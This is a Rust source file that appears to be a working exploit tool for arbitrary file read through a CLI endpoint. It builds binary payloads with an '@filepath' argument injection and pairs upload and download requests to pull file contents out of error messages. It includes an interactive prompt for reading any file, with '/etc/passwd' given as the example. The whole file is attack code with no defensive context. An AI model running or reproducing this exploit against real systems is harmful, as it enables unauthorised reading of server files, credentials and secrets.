use std::io::{self, Write};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::time::sleep;
use reqwest::{Client};
use uuid::Uuid;
use regex::Regex;

const TIMEOUT_SECS: u64 = 4;

#[derive(Clone)]
struct ExploitState {
    url: String,
    identifier: String,
    client: Client,
    listening: Arc<Mutex<bool>>,
}

impl ExploitState {
    fn new(url: String, identifier: String) -> Self {
        let client = Client::builder()
        .timeout(Duration::from_secs(TIMEOUT_SECS))
        .build()
        .expect("Failed to create HTTP client");

        Self {
            url,
            identifier,
            client,
            listening: Arc::new(Mutex::new(false)),
        }
    }

    async fn listen_and_print(&self) -> Result<()> {
        let response = self.client
        .post(&self.url)
        .query(&[("remoting", "false")])
        .header("Side", "download")
        .header("Session", &self.identifier)
        .send()
        .await
        .context("Failed to connect to target for listener")?;

        let output = response.text().await?;
        self.print_formatted_output(&output);

        *self.listening.lock().unwrap() = false;
        Ok(())
    }

    fn print_formatted_output(&self, output: &str) {
        if output.contains("ERROR: No such file") {
            println!("{}", "File not found.".red());
            return;
        } else if output.contains("ERROR: Failed to parse") {
            println!("{}", "Could not read file.".red());
            return;
        }

        let re = Regex::new(r#"No such agent "(.*)" exists."#).unwrap();
        let results: Vec<String> = re
        .captures_iter(output)
        .filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
        .collect();

        if !results.is_empty() {
            for line in results {
                println!("{}", line);
            }
        }
    }

    async fn send_file_request(&self, filepath: &str) -> Result<()> {
        let payload = get_payload(filepath);

        self.client
        .post(&self.url)
        .query(&[("remoting", "false")])
        .header("Side", "upload")
        .header("Session", &self.identifier)
        .body(payload)
        .send()
        .await
        .context("Failed to send file request")?;

        Ok(())
    }

    async fn read_file(&self, filepath: &str) -> Result<()> {
        *self.listening.lock().unwrap() = true;

        sleep(Duration::from_millis(100)).await;

        if let Err(e) = self.send_file_request(filepath).await {
            *self.listening.lock().unwrap() = false;
            return Err(e);
        }

        while *self.listening.lock().unwrap() {
            sleep(Duration::from_millis(100)).await;
        }

        self.listen_and_print().await?;
        Ok(())
    }
}

fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
    let text_bytes = text.as_bytes();
    let text_size = text_bytes.len() as u16;

    let mut text_message = Vec::new();
    text_message.extend_from_slice(&text_size.to_be_bytes());
    text_message.extend_from_slice(text_bytes);

    let message_size = text_message.len() as u32;

    let mut payload = Vec::new();
    payload.extend_from_slice(&message_size.to_be_bytes());
    payload.push(operation_index);
    payload.extend_from_slice(&text_message);

    payload
}

fn get_payload(filepath: &str) -> Vec<u8> {
    let arg_operation = 0u8;
    let start_operation = 3u8;

    let command = get_payload_message(arg_operation, "connect-node");
    let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));

    let mut payload = Vec::new();
    payload.extend_from_slice(&command);
    payload.extend_from_slice(&poisoned_argument);
    payload.push(start_operation);

    payload
}

fn make_path_absolute(filepath: &str) -> String {
    if filepath.starts_with('/') {
        filepath.to_string()
    } else {
        format!("/proc/self/cwd/{}", filepath)
    }
}

fn format_target_url(url: &str) -> String {
    let url = url.trim_end_matches('/');
    format!("{}/cli", url)
}

async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
    println!("{}", "Press Ctrl+C to exit".cyan());

    loop {
        print!("{}", "File to download:\n> ".green().bold());
        io::stdout().flush()?;

        let mut input = String::new();
        match io::stdin().read_line(&mut input) {
            Ok(0) => break,
            Ok(_) => {
                let filepath = input.trim();
                if filepath.is_empty() {
                    continue;
                }

                let absolute_path = make_path_absolute(filepath);

                match state.read_file(&absolute_path).await {
                    Ok(_) => {}
                    Err(e) => {
                        if e.to_string().contains("timeout") {
                            println!("{}", "Payload request timed out.".yellow());
                        } else {
                            println!("{}", format!("Error: {}", e).red());
                        }
                    }
                }
            }
            Err(e) => {
                eprintln!("Error reading input: {}", e);
                break;
            }
        }
    }

    Ok(())
}

pub async fn run(args: &str) -> Result<()> {
    let parts: Vec<&str> = args.split_whitespace().collect();

    if parts.is_empty() {
        bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
    }

    let url = format_target_url(parts[0]);
    let filepath = parts.get(1).map(|s| s.to_string());
    let identifier = Uuid::new_v4().to_string();

    println!("{}", format!("[*] Target: {}", url).cyan().bold());
    println!("{}", format!("[*] Session ID: {}", identifier).cyan());

    let state = ExploitState::new(url, identifier);

    if let Some(path) = filepath {
        let absolute_path = make_path_absolute(&path);
        println!("{}", format!("[*] Reading file: {}", absolute_path).cyan());

        match state.read_file(&absolute_path).await {
            Ok(_) => println!("{}", "[+] File read complete".green().bold()),
            Err(e) => {
                if e.to_string().contains("timeout") {
                    println!("{}", "[-] Payload request timed out.".red());
                } else {
                    println!("{}", format!("[-] Error: {}", e).red());
                }
            }
        }
    } else {
        match start_interactive_file_read(state).await {
            Ok(_) => {}
            Err(e) => {
                if !e.to_string().contains("Interrupted") {
                    eprintln!("Error: {}", e);
                }
            }
        }
        println!("\n{}", "Quitting".yellow());
    }

    Ok(())
}
